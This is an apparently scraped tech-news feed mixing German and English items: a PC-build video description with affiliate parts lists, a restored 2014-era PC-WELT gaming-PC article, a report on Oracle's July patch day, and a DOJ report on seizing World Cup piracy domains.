Die Generation 3 soll leistungsfähiger werden, nun hat sie Space-X bei einem Testflug der Riesenrakete „Starship“ erstmals ins All gebracht – zumindest für kurze Zeit.

Tags: #Cyber Security | #Linux

Read more of this story at Slashdot.

Tags: #Cyber Crime | #Künstliche Intelligenz

Google Fined Over Self-preferencing on Google Search

Google Play Restrictions Lead to Second Fine

Digital Markets Act Enforcement Brings Compliance Deadline

Commission Investigations Began in 2024

The post 6 Best Accounts Payable Software in 2026 appeared first on TechRepublic.

⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.

I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.

Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.

A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️

👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!

#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild

https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D

📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe

CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)
Amazon: https://amzn.to/3O70PIU
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq
B&H: https://bhpho.to/3PjZZcr

CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)
Amazon: https://amzn.to/4bkdodD
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q
B&H: https://bhpho.to/46EWdR4

Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)
Amazon: https://amzn.to/3NI9tO0
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6
B&H: https://bhpho.to/4ubyfa7

Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2
Amazon: https://amzn.to/49SZug7
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G

Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)
Amazon: https://amzn.to/4bSOyBO
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N
B&H: https://bhpho.to/4bpm9m9

Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)
Amazon: https://amzn.to/4pTv8QB
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN
B&H: https://bhpho.to/40dqbYK

Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)
Amazon: https://amzn.to/3NNmKos
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB
B&H: https://bhpho.to/46HyuQb

Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)
Amazon: https://amzn.to/4bTH8yd
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO
B&H: https://bhpho.to/4d3Fyu8

Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)
Amazon: https://amzn.to/4qSDWHG
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO
B&H: https://bhpho.to/3N1pqPq

Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)
Amazon: https://amzn.to/3YWIbG7
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z
B&H: https://bhpho.to/4uaSzs9

Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)
Amazon: https://amzn.to/4rzKNpN
Best Buy: https://bestbuycreators.7tiv.net/55OBVD
B&H: https://bhpho.to/46KcvYO

Turning Cable Chaos Into Cable Management Dreams
00:42 What Does a Power Supply Do?
02:04 Why This Build Uses a 1000W PSU
03:12 Fully Modular Power Supplies Explained
04:10 Identifying Every Power Cable
05:16 Installing the PSU
06:42 Subscribe & Patreon Shoutout
07:33 Connecting the 24-Pin Motherboard Cable
08:36 CPU Power Connectors
09:53 Cable Routing Tips
11:02 SATA Power & Accessories
11:54 Cable Management Basics
13:07 Next Episode Preview


Becoming a Morse Code Member by checking out the perks linked here!:
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join

Editor: @ColleenEdits

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

GET IN TOUCH
Mail ✈
https://shannonrmorse.com/contact

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

😍 FTC DISCLAIMER 😍
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!

Comment section code of conduct policy:
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)
https://shannonrmorse.com/code-of-conduct

Code of Ethics:
https://www.morsecodecreative.com/code-of-ethics

FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.

Google soll die eigenen Flug- und Shopping-Angebote bevorzugt und App-Entwickler behindert haben. Die EU-Kommission entscheidet: Der Konzern muss zahlen. Das dürfte US-Präsident Trump ärgern, der „Big Tech“ zum Teil des Zollstreits gemacht hat.

Österreichs erfolgreichster Paralympics-Schwimmer scheiterte damit, sich von einer KI als Superheld darstellen zu lassen. Jetzt arbeitet er daran, dass die Modelle Menschen mit Behinderung zeigen, wie sie sind.

Eine künstliche Intelligenz bricht aus, hackt einen Konkurrenten und beweist nebenbei, wie gefährlich KI ist. Wenn eine Geschichte zu gut klingt, sind Zweifel an der Erzählung angebracht.

Da die Zahl der Beschäftigten schrumpft und Maschinen schon heute die Fertigung dominieren, gibt es für die deutsche Wirtschaft nur einen Weg, um den Wohlstand zu mehren.

Da die Zahl der Beschäftigten schrumpft und Maschinen schon heute die Fertigung dominieren, gibt es für die deutsche Wirtschaft nur einen Weg, um den Wohlstand zu mehren.

Read more of this story at Slashdot.

Read more →

The post Red Card for Piracy: Feds Seize Over 1,000 Illegal World Cup Streams appeared first on IT Security News.

The post iOS 27 code suggests Apple could restrict apps and services on leased devices due to missed payments appeared first on MacDailyNews.

The Apple Upgrade leasing program could help cash-strapped consumers, but hidden iOS 27 code shows it might restrict your iPhone.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

In China ist künstliche Intelligenz keine Zukunftstechnologie, sondern Alltag. Sie liefert Nudeln, ersetzt den Arzt und paukt mit Schulkindern. Das verändert das Leben im Land rasant.

Eine KI von Open AI bricht aus einer sicheren Umgebung aus, um eine andere KI-Plattform zu hacken, damit sie bei einem KI-Test besser abschneiden kann. Was ist da eigentlich genau passiert, wer ist schuld, und welche Rolle spielt die Trump-Regierung?

Tags: #EU | #VPN

Schon länger warnen Experten vor künstlicher Intelligenz, die eigenständig Cyberangriffe verüben kann. Jetzt verselbständigte sich tatsächlich Software von Open AI in einem Test – weil sie schummeln wollte.

Read more →

The post Greedy ransomware crews return for seconds after victims cough up first extortion payments appeared first on IT Security News.

Read more →

The post US seizes over 1,000 domains used for illegal World Cup 2026 streams appeared first on IT Security News.

Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.

Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der vierten Höllenmaschine:

Die PC-WELT Höllenmaschine 4 repräsentiert den Stand der PC-Technik. Die beste Hard- und Software ist gerade gut genug für den ultimativen Rechnertraum. Auch die vierte Generation im Wert von 13.333 Euro können Sie wieder gewinnen.

Das Rückgrat des 22 Kilogramm schweren Cooler Master Cosmos II bildet eine massive Stahlkonstruktion. Zu den Besonderheiten des 300 Euro teuren Big-Towers gehören eine zentrale Lüftersteuerung, Kabelmanagement, Flügeltüren und massig Platz: Das Gehäuse besitzt allein elf Laufwerksschächte für 3,5-Zoll-Festplatten und nimmt Hauptplatinen bis zum E-ATX-Formfaktor auf.

Airbrush der Höllenmaschine 4

Für das lodernde Airbrush und das seitliche Sichtfenster der Höllenmaschine 4 zeichnen sich die Casemodder Martin und Stefan Blass verantwortlich. Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Auf ihrer Website können Sie sich von den Fähigkeiten der kunstfertigen Casemodder überzeugen. Das preisgekrönte Brüderpaar kümmert sich nicht nur um das teuflische Airbrush und bauliche Veränderungen wie das seitliche Sichtfenster, sondern zeichnet sich auch für die Innenbeleuchtung der Gehäusemodifikation verantwortlich.

Die Gebrüder haben für den schönen Schein einen Multidimmer von Richter eingebaut, der LED-Ketten im Gehäuseinnenraum und im Bodenbereich ansteuert. Über die beiliegende Fernbedienung wählen Sie zwischen acht verschiedenen Grundfarben aus, regulieren die Helligkeit und definieren individuelle Farbwechsel.

Bei der Asus Rampage IV Extreme paart sich eine erlesene Hauptplatinen-Ausstattung mit einem detailverliebten UEFI-Bios, das keine Wünsche offen lässt: Die Sockel-LGA2011-Hauptplatine basiert auf dem Intel-Chipsatz X79. Das UEFI-Motherboard besitzt je acht Speicherbänke, SATA- und USB-Ports sowie fünfmal 16x PCI-Express 3.0. Zur Sonderausstattung gehören CMOS-, Start- und Reset-Knopf, Diagnose-LED, Bluetooth-Unterstützung und umfassende Übertaktungsoptionen, die sich zudem in Echtzeit überwachen lassen.

Prozessor: die schnellste Desktop-CPU der Welt

Der Intel Core i7-3960X ist der aktuell schnellste Desktop-Prozessor im Test. Das Intel-Flaggschiff besitzt sechs CPU-Kerne und arbeitet dank Hyperthreading als virtueller 12‑Kern‑Prozessor. Der Werkstakt liegt bei 3,3 Gigahertz, in der Höllenmaschine 4 läuft der Core i7 mit 4 GHz. Berechnungen puffert der 3960X in einem dreistufigen Cache-System: So ist die dritte Cache-Stufe, die alle Prozessorkerne dynamisch nutzen können, 15 MB mächtig. Auf die erste und zweite Cache-Stufe mit 64 beziehungsweise 256 KB darf hingegen jeder CPU-Kern exklusiv zugreifen.

Eine der wichtigsten exklusiven Funktionen der LGA2011-Baureihe ist der integrierte Speicher-Controller, der vier DDR3-Kanäle gleichzeitig ansteuert. Ebenfalls in der CPU verbaut sind 40 PCI-Express-3.0-Kanäle. Zur weiteren Ausstattung gehören der Schutz vor Angriffen durch einen Puffer-Überlauf (XD-Bit), zusätzliche Befehlssätze wie SSE 4.2 und das Advanced Encryption Standard Instruction Set (AES IS) sowie die Advanced Vector Extensions (AVX). Zudem unterstützt der Prozessor die Virtualisierungs-Technik Intel VT sowie 32- und 64-Bit-Betriebssysteme – so lassen sich etwa virtuelle Workstations mit unterschiedlichen Betriebssystemen einrichten.

Die Wasserkühlung Cooler Master Eisberg 240L Prestige gibt die CPU-Abwärme über einen Dual-Radiator an die Außenwelt ab, der zwei 120-Millimeter-Lüfter beherbergt. Das Rotationstempo der mit knapp 21 dB(A) sehr leisen Lüfter liegt bei 1600 Umdrehungen pro Minute. Im Microchannel-Kühlblock arbeitet deutsche Pumpentechnik, die bis zu 400 Liter pro Stunde durch das Kühlsystem schleudert und für mindestens 50 000 Betriebsstunden ausgelegt ist. Der keramikbeschichtete Pumpenantrieb dreht sich mit bis zu 3600 Rotationen pro Minute.

Grafik: 2x ASUS GTX690-4GD5 im Quad-SLI

Um die Grafikdarstellung kümmert sich in der Höllenmaschine 4 die derzeit leistungsfähigste Grafikkarte der Welt, die ASUS GTX690-4GD5. Kostenpunkt: knapp 1000 Euro pro Stück. Die Karte beherbergt mit der Nvidia Geforce GTX 690 gleich zwei 915 Megahertz schnelle Grafikprozessoren, die gemeinsam die 3D-Berechnung übernehmen.

PC-WELT

In der Höllenmaschine 4 sind gleich zwei der Asus-Doppeldecker, die über eine SLI-Brücke (Scalable Link Interface) verbunden sind. So arbeiten insgesamt vier Grafikprozessoren parallel im Quad-SLI-Modus. In der Summe stehen damit die Rechen-Power von 6144 Shader- und 512 Textur-Einheiten sowie 128 Rasteroperatoren bereit. Dabei kann der Karten-Verbund auf 4 Gigabyte GDDR5-Videospeicher zugreifen, der mit einem effektiven Datentakt von 6000 MHz arbeitet. Jede Grafikkarte besitzt mit einem Mini-Displayport und dreimal DVI vier digitale Ausgänge.

Ausstattung der Höllenmaschine 4 im Überblick

PC-WELT

Monitore: PC-Spiele in 3D auf 3 Panels gleichzeitig

Der Höllenmaschine 4 stellen wir den 27-Zoll-Bildschirm ASUS VG278H zur Seite. Die physikalische Auflösung des 120-Hertz-Monitors beträgt 1920 x1080 Pixel, die Reaktionszeit 2 Millisekunden. Die LED-Hintergrundbeleuchtung erzielt eine Helligkeit von 300 cd/m2 und unterstützt die Lightboost-Technik und damit natürlich auch Nvidia 3D Vision 2 – eine Technologie, die das Spielen in der dritten Dimension möglich macht. Im Lieferumfang des Asus-LCDs ist das “Nvidia 3D Vision”-Set aus Infrarot-Sender (integriert im Bildschirmrahmen) und Shutter-Brille enthalten. Der VG278H bietet mit DVI, HDMI und D-Sub drei Videoeingänge sowie einen Kopfhöreranschluss.

Ein großer 27-Zoll-Monitor ist gut, doch drei ASUS VG278H sind besser. Die gebündelte Auflösung des Bildschirm-Trios von 5760 x 1080 Pixeln erlaubt einen Desktop, auf dem sich bequem arbeiten lässt: Da kann man zahlreiche Fenster in ihrer vollen Größe geöffnet lassen, und behält dennoch den Überblick. Interessant ist diese große Arbeitsumgebung auch für Grafiker und Video-Bearbeiter, die dadurch gleich mehrere Projekte am Laufen halten, ohne eines schließen zu müssen.

Ernsthaften PC-Spielern kann dagegen die Bildschirmgröße nicht groß genug sein – denn sie bedeutet größere Übersicht und ein realistischeres Spielerlebnis. So füllt etwa die wunderschöne Landschaft in Skyrim die volle Breite der drei Monitore aus und wirkt dadurch schon fast wie ein echter Horizont, der Lust auf das Erkunden macht. Dank der brachialen Leistung der Höllenmaschine 4 und Nvidia 3D Vision Surround geht das auch flüssig in stereoskopischem 3D.

Arbeitsspeicher: Quad-Channel mit 64 Gigabyte

Speicher kann man nie genug haben! Die acht Module Adata XPG X Series PC3-17066U mit jeweils 8 Gigabyte Kapazität steuert der Controller in der Intel-CPU im Vierkanal-Modus an. Die Module laufen mit 10-11-11-30er-Zugriffszeiten. Der mit dem Extreme Memory Profile (XMP) effektiv 2133 Megahertz schnelle Arbeitsspeicher beschert der Höllenmaschine 4 eine Speicherbandbreite von über 45 Gigabyte pro Sekunde. Da macht Virtualisierung so richtig Spaß.

PCI-Express-SSD, 4 WD VelociRaptor und 4 WD Caviar Green

Das Betriebssystem und alle Programme dürfen auf der Solid State Drive OCZ RevoDrive 3 X2 480GB Platz nehmen. Die Flashspeicher-Festplatte arbeitet mit vier Sandforce-SF-2281-Controllern intern als Raid-0-Verbund. Dadurch erreicht die SSD eine Datentransferrate von in der Spitze fast 1400 Megabyte pro Sekunde und einen Befehlsdurchsatz von bis zu 230.000 IOPS beim zufälligen Schreiben von 4-KB-Blöcken. Eine herkömmliche SATA-Schnittstelle würde das OCZ-Modell ausbremsen, deswegen setzt das RevoDrive auf einen PCI-Express-Anschluss.

OCZ/Kioxia

Das interne Backup übernimmt ein RAID-5‑Verbund aus vier 1-Terabyte-Festplatten. Dabei kommt das derzeit schnellste 3,5-Zoll-Laufwerk im Test zum Einsatz, die Western Digital VelociRaptor WD1000DHTZ. Die VelociRaptor rotiert mit 10.000 Umdrehungen pro Minute und puffert Zugriffe in einem 64 MB großen Cache. Die maximale Datenrate der Festplatte liegt bei 210 Megabyte pro Sekunde, die durchschnittliche Zugriffszeit bei 3,7 Millisekunden. Als RAID-5‑Verbund kommt das Platten-Quartett auf bis zu 560 Megabyte pro Sekunde und stellt dabei noch knapp 2,7 Gigabyte nutzbare Kapazität zur Verfügung.

Die Aufgabe des klassischen Massenspeichers für umfangreiche Foto-, Musik- und Videosammlungen übernehmen die beiden 3,5-Zoll-Festplatten Western Digital Caviar Green 3000GB WD30EZRX. Die besonders stromsparenden Laufwerke stecken in den zwei abschließbaren Hot-Swap-Schächten der Höllenmaschine 4. So lassen sich schnell und bequem knapp 5,5 Terabyte nutzbarer Speicherplatz im laufenden Betrieb an- und abstöpseln oder auch mal unkompliziert von A nach B tragen.

Stromversorgung: bis zu 105 Ampere auf der 12-Volt-Schiene

Keine Kompromisse machen wir bei der Stromversorgung der Höllenmaschine 4. Das Cooler Master Silent Pro Hybrid 1300W bietet genügend Reserven, um alle Komponenten zuverlässig mit Energie zu versorgen. Das vollständig modulare Netzteil stellt auf der 12-Volt-Schiene in der Spitze bis zu 105 Ampere bereit und federt damit auch locker die Lastspitzen der stromhungrigen Grafikkarten ab.

Aufgrund der “80 PLUS Gold“-Zertifizierung arbeitet das ATX-2.3-Kraftpaket mit einem Wirkungsgrad von über 90 Prozent trotzdem sehr energieeffizient. Dank der semipassiven Kühlung ist das 1300-Watt-Netzteil aber auch flüsterleise. Zudem erlaubt die im Lieferumfang enthaltene 5,25-Zoll-Lüftersteuerung neben dem automatischen Modus ein stufenlos regulierbares Drehtempo für den 130-Millimeter-Lüfter – bei harter Dauerbelastung drehen Sie den Regler einfach voll auf.

Um optische Massenspeicher kümmert sich der Blu-ray-Brenner Asus BW-12B1ST. Das Multi-Norm-Laufwerk versteht sich aber auch auf alle gängigen CD- und DVD-Formate. Bei maximal 12-fachem Schreibtempo füllt das Asus-Modell einen einlagigen 25-GB-BR-Rohling in rund 11 Minuten. BD-REs beschreibt das SATA-Laufwerk mit 2-fachem Tempo, Blu-ray-Medien liest er mit 8-facher Geschwindigkeit. Im Lieferumfang des Asus BW-12B1ST ist Software für das Backup, Brennen und Abspielen von Blu-rays enthalten.

Peripherie: Luxus-Eingabegeräte und 5.1-Raumklang

Die Logitech G9x Laser Mouse kommt mit einem 4-Wege-Scrollrad und löst mit bis zu 5700 dpi auf. Die USB-Maus besitzt eine anpassbare Griffschale sowie ein bis auf 28 Gramm aufrüstbares Gewichtsmagazin. Der interne Speicher sichert bis zu fünf Profile für individuelle Tastatur-Makros und Abtastraten.

Das Logitech G19 Gaming Keyboard besitzt ein integriertes Farb-LCD, das in Echtzeit Spiele-Informationen wie die Server-IP-Adresse oder den Punktestand für über 35 Titel anzeigt. Die G19 erlaubt verschiedene Beleuchtungsfarben und hat 12 voll programmierbare G-Tasten sowie Sondertasten für den schnellen Multimedia-Zugriff. Das Logitech-Modell fungiert aber auch als aktiver 2-fach-USB-Hub und überrascht mit einer Kabelführung auf der Unterseite für Maus und Headset.

Logitech

Das THX-zertifizierte Lautsprecherset Logitech Z906 bietet 5.1-Raumklang mit digitaler Dolby- und DTS-Decodierung. Bis zu sechs digitale und analoge Audioquellen lassen sich gleichzeitig an die Bedienkonsole anschließen. Alternativ bedienen Sie das 500-Watt-Lautsprechersystem kabellos über die Fernbedienung.

Wer nachts die Nachbarn nicht stören darf, greift zum Logitech G930 Wireless Gaming Headset. Das funkt digital mit 2,4 Gigahertz zehn Stunden lang über eine Reichweite von bis zu 12 Metern. Das Headset kommt mit drei programmierbaren Tasten, Geräuschunterdrückung und Kondensatormikrofon. Dank der Dolby-Technik Headphone und Pro Logic II kann das G930 sogar 7.1-Surround-Sound simulieren.

Kreativ-, Spiele- und Office-Paket für 4000 Euro

Auf der Höllenmaschine 4 vorinstalliert haben wir das 64-Bit-Betriebssystem Windows 7 Ultimate. Für das Microsoft-Betriebssystem haben wir uns auch wegen der DirectX-11-Unterstützung entschieden. Das laut Windows-Experte Hermann Apfelböck “beste Windows aller Zeiten” verwöhnt in der multilingualen Ultimate-Variante mit den exklusiven Funktionen Bitlocker-Verschlüsselung und dem nützlichen VHD-Boot.

Dazu gibt es drei fette Software-Pakete frei Haus. Das Highlight für Kreative ist die Adobe Creative Suite 6 Design & Web Premium. Die „Rundum glücklich“-Lösung für professionelle Bildbearbeitung, Layout und Website-Design integriert die Digital Publishing Suite und enthält folgende Programme und Werkzeuge: Acrobat X Pro, Bridge, Dreamweaver, Flash Builder, Flash Professional, Fireworks, Illustrator, InDesign, Media Encoder und Photoshop Extended.

Was zum Spielen spendiert Grafikspezialist Nvidia der Höllenmaschine 4. Das Gaming-Paket enthält die AAA-Titel Alan Wake Collector’s Edition, Batman: Arkham City, Battlefield 3, Borderlands, Call of Duty: Modern Warfare 3, Crysis 2, Diablo 3, Deus Ex: Human Revolution, Duke Nukem Forever, L.A. Noire, Mass Effect 3, Max Payne 3, Metro 2033, Rage, Skyrim, Starcraft II: Wings of Liberty, Star Wars. The Old Republik, The Witcher 2: Assassins of Kings.

Und wer die Höllenmaschine im Büroeinsatz unterfordern will, installiert Microsoft Office Professional 2010. Das Paket enthält die Programme Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, SharePoint, Word und Workspace.

Hinweis: Hier endet der Artikel über die Höllenmaschine 4 aus dem Jahre 2014.

So gewinnen Sie die HMX 6

Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern:

Wie Sie die HMX 6 verfolgen können

In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natürlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.

Der US-amerikanische Software-Hersteller Oracle hält nur alle drei Monate einen turnusmäßigen Patch Day ab. Oracle spricht dabei von „Critical Patch Updates“ (CPU). Aufgrund des umfangreichen Produktportfolios sowie des relativ langen Update-Turnus fallen dabei regelmäßig mehrere hundert zu beseitigende Lücken an. Im Juli sind, dem Trend bei anderen Herstellern folgend, 1449 Schwachstellen zusammengekommen – das ist die mit großem Abstand höchste Anzahl, seit es CPU-Tage gibt und mehr als im gesamten Jahr 2025.

Wegen der starken Zunahme der durch „KI“-Tools entdeckten Schwachstellen hat Oracle seit dem vorherigen CPU-Tag im April zusätzlich monatliche Sicherheits-Updates eingeführt. Die so genannten „Critical Security Patch Updates“ (CSPU) erscheinen weiterhin am dritten Dienstag eines Monats. Bislang ist Java nicht davon betroffen – das wird sich jedoch bereits im August ändern.

Etliche der beseitigten Schwachstellen sind als kritisch einzustufen. Angaben dazu, ob Schwachstellen bereits für Angriffe ausgenutzt werden (0-Day-Lücken), macht Oracle in seinem aktuellen Sicherheitsbericht nicht. Für die Risikobewertung nutzt Oracle den Industriestandard CVSS 3.1 (Common Vulnerability Scoring Standard), dessen höchster Wert 10.0 ist. Auch Microsoft gibt seit einiger Zeit einen CVSS-Score für beseitigte Sicherheitslücken an.

▶Microsofts Monster-Patchday sprengt alle Rekorde

Die dicksten Brocken

Die meisten Sicherheitslücken hat Oracle beim CPU-Tag im Juli in seiner bis dahin eher unauffälligen E-Business Suite geschlossen. Von 410 Schwachstellen sind 45 ohne Benutzeranmeldung über das Netzwerk ausnutzbar und eine erreicht den hohen CVSS-Score 9.8. Nicht weit dahinter folgt Fusion Middleware mit 355 Sicherheitslücken, von denen 46 aus der Ferne ausnutzbar sind und zehn den CVSS-Score 10.0 erreichen.

Diesmal erst an dritter Stelle liegt Oracles Produktfamilie für die Telekommunikationsbranche (Communications). Von den 168 geschlossenen Lücken sind 122 ohne Benutzeranmeldung über das Netzwerk ausnutzbar, 12 davon erreichen den CVSS-Score 9.8. In den Fußnoten nennt Oracle über 160 weitere Schwachstellen, die beseitigt, aber nicht mitgerechnet sind. PeopleSoft kommt auf 84 Lücken, von denen 45 ohne Benutzeranmeldung über das Netzwerk ausnutzbar sind und sechs den CVSS-Score 9.9 erreichen.

Beim quelloffenen Datenbank-Server MySQL nennt Oracle 54 behobene Schwachstellen. Hier sind neun Lücken ohne Benutzeranmeldung über das Netzwerk ausnutzbar und eine erreicht den CVSS Score 8.5. Die neuesten verfügbaren MySQL-Versionen (MySQL Community Server) sind 9.7.1 (LTS – Long Term Support) und 8.4.10 (LTS). Der Versionszweig 8.0 hat mit dem CPU-Tag im April das Support-Ende erreicht, die letzte Version ist 8.0.46.

Java-Updates für sechs Versionen

In Java SE (Standard Edition) hat Oracle insgesamt 19 Sicherheitslücken geschlossen (CVSS-Höchstwert 7.8), von denen 17 ohne Benutzeranmeldung übers Netzwerk ausnutzbar sind. Anders als bislang üblich hat Oracle den nächsten Update-Termin für Java bereits für den 18. August angekündigt. Ab 2027 soll Java monatliche Sicherheits-Updates erhalten. Den halbjährlichen Turnus für Feature-Updates (neue Hauptversionen) will Oracle hingegen beibehalten.

Das im März freigegebene Java 26 erhält sein zweites Sicherheits-Update, das zehn Lücken stopft. Nach einem dritten Update im August wird Java 26 bereits im September durch Java 27 abgelöst.

▶Die neuesten Sicherheits-Updates

Java 25 ist hingegen eine LTS-Version (Long Term Support) und soll bis Sommer 2033 gepflegt werden. Auch Java 21, Java 17 und Java 11 sind LTS-Versionen. Sie werden acht Jahre lang mit Updates versorgt, Java 11 sogar bis 2032. Der neueste Stand sind die Versionen 25.0.4, 21.0.12, 17.0.20 und 11.0.32. Wer Java 21 kommerziell nutzt, benötigt dafür ab Oktober 2026 eine kostenpflichtige Lizenz. Für Java 25 gilt dies ab Oktober 2028. Für private Nutzung sowie für Entwickler bleibt jedoch weiterhin alles kostenlos.

Für Anwender bleibt laut Oracle weiterhin vorwiegend Java 8 (JRE – Java Runtime Environment) relevant und von Oracle empfohlen. Die neueste Version ist Java 8 Update 501 (8u501). Darin hat Oracle 18 Schwachstellen beseitigt. Unternehmen und Behörden müssen seit April 2019 für die Java-8-Updates zahlen, Privatpersonen und Entwickler nicht.

Tipp: Unabhängig davon, dass Sie Ihre Programme stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Lücken in VirtualBox

In der quelloffene Virtualisierungslösung VirtualBox hat Oracle 16 Schwachstellen (max. CVSS 7.8) beseitigt, von denen keine übers Netzwerk ausnutzbar ist. Womöglich lässt es die eine oder andere der Lücken zu, Code aus der VM auf dem Host-System auszuführen. Die neue, abgesicherte VirtualBox-Version ist 7.2.14. Der ältere Versionszweig 7.1 hat mit dem CPU-Tag im April das Ende der Fahnenstange erreicht: Oracle beendet den Support.

Der nächste turnusmäßige Oracle CPU-Tag ist am 20. Oktober 2026. Seit April 2022 sind diese Termine stets am dritten Dienstag im Januar, April, Juli und Oktober. Seit Mai 2026 werden je nach Dringlichkeit auch monatlich Updates bereitgestellt, die eingangs erwähnten CSPU.

The post Yubico Released YubiKey 5.8 With Secure Enterprise Workflows and AI-driven Approvals appeared first on Cyber Security News.

The U.S. Department of Justice has seized more than 1,000 illegal World Cup streaming domains accused of broadcasting FIFA World Cup 2026 matches without authorization, marking a major enforcement action against digital piracy during the tournament. The domains were seized in three separate actions under U.S. copyright law as part of Operation Offsides, an initiative targeting websites involved in unauthorized World Cup broadcasts.

The latest action includes nearly 400 websites seized by the end of June, according to the Department of Justice. The investigation was carried out by U.S. Immigration and Customs Enforcement Homeland Security Investigations (HSI) Washington Field Office and the National Intellectual Property Rights Coordination Center.

Illegal World Cup Streaming Domains Targeted

According to an affidavit filed in support of a seizure warrant in the U.S. District Court for the Eastern District of Virginia, the seized domains were used to offer copyright-protected content through real-time streams of 2026 World Cup matches as they were being played and first broadcast.

HSI special agents confirmed that the domains were actively broadcasting World Cup matches without authorization. The domains were identified with assistance from FIFA, with additional information provided by beIN Media Group, NBC Universal, the Motion Picture Association’s Alliance for Creativity and Entertainment (ACE), Ultimate Fighting Championship (UFC), and Warner Brothers.

FIFA holds the exclusive rights to sanction and stage the FIFA World Cup 2026, which is being hosted across multiple cities in the United States, Canada and Mexico.

Operation Offsides Targets Illegal Streaming

The U.S. action is part of Operation Offsides, which focuses on identifying and seizing websites facilitating unauthorized broadcasts of World Cup matches.

The operation is led by the National Intellectual Property Rights Coordination Center and is being conducted with HSI Washington, D.C., HSI Attaché offices, private sector organizations and law enforcement partners globally.

Assistant Attorney General A. Tysen Duva of the Justice Department’s Criminal Division said the effort to seize more than 1,000 domains was aimed at protecting intellectual property rights and reducing risks to consumers from malicious software associated with some illicit streaming services.

HSI Deputy Executive Associate Director Matthew Millhollin also warned that users accessing unauthorized streaming platforms could face risks including malware and payment information theft.

Operation Red Card Expands Global Crackdown

The U.S. enforcement action was accompanied by international efforts under Operation Red Card, which targeted digital piracy and counterfeiting connected to the World Cup across the Western Hemisphere.

The Justice Department’s International Computer Hacking and Intellectual Property (ICHIP) program coordinated enforcement efforts involving Argentina, Brazil, Chile, Colombia, the Dominican Republic, Ecuador, Paraguay and Peru.

The coordinated actions resulted in hundreds of illegal streaming sites being blocked, including 14 in Argentina, 223 in Ecuador, 28 in Peru, 309 in Brazil, 256 in the Dominican Republic and 1,140 in Colombia.

Colombian authorities also conducted 13 nationwide search-and-seizure operations targeting counterfeit sports apparel, resulting in 11 arrests and convictions.

